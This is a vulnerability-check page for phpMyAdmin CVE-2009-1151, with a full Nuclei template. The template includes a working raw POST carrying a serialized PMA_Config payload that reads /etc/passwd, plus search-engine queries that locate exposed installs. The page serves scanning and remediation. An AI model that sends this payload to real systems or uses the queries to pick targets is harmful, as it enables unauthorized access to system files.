PhpMyAdmin Scripts - Remote Code Execution

Exploited in the wild. Listed by CISA on 2022-03-25; known to be used by ransomware.

highseverity

7.5CVSS score

96.6%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

PhpMyAdmin Scripts 2.11.x before 2.11.9.5 and 3.x before 3.1.3.1 are susceptible to a remote code execution in setup.php that allows remote attackers to inject arbitrary PHP code into a configuration file via the save action. Combined with the ability to save files on server, this can allow unauthenticated users to execute arbitrary PHP code.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the affected system.

Fix

Update PhpMyAdmin to the latest version or apply the necessary patches.

How to confirm it

Send: POST /scripts/setup.php
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2009-1151 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2009-1151

info:
  name: PhpMyAdmin Scripts - Remote Code Execution
  author: princechaddha
  severity: high
  description: PhpMyAdmin Scripts 2.11.x before 2.11.9.5 and 3.x before 3.1.3.1 are susceptible to a remote code execution in setup.php that allows remote attackers to inject arbitrary PHP code into a configuration file via the save action. Combined with the ability to save files on server, this can allow unauthenticated users to execute arbitrary PHP code.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the affected system.
  remediation: |
    Update PhpMyAdmin to the latest version or apply the necessary patches.
  reference:
    - https://www.phpmyadmin.net/security/PMASA-2009-3/
    - https://github.com/vulhub/vulhub/tree/master/phpmyadmin/WooYun-2016-199433
    - http://phpmyadmin.svn.sourceforge.net/viewvc/phpmyadmin/branches/MAINT_2_11_9/phpMyAdmin/scripts/setup.php?r1=11514&r2=12301&pathrev=12301
    - http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php
    - https://nvd.nist.gov/vuln/detail/CVE-2009-1151
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2009-1151
    cwe-id: CWE-94
    epss-score: 0.96565
    epss-percentile: 0.99882
    cpe: cpe:2.3:a:phpmyadmin:phpmyadmin:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: phpmyadmin
    product: phpmyadmin
    shodan-query:
      - http.title:"phpmyadmin"
      - http.component:"phpmyadmin"
      - cpe:"cpe:2.3:a:phpmyadmin:phpmyadmin"
    fofa-query:
      - title="phpmyadmin"
      - body="pma_servername" && body="4.8.4"
    google-query: intitle:"phpmyadmin"
    hunter-query: app.name="phpmyadmin"&&web.body="pma_servername"&&web.body="4.8.4"
  tags: cve,cve2009,deserialization,kev,vulhub,phpmyadmin,rce,vkev,vuln

http:
  - raw:
      - |
        POST /scripts/setup.php HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

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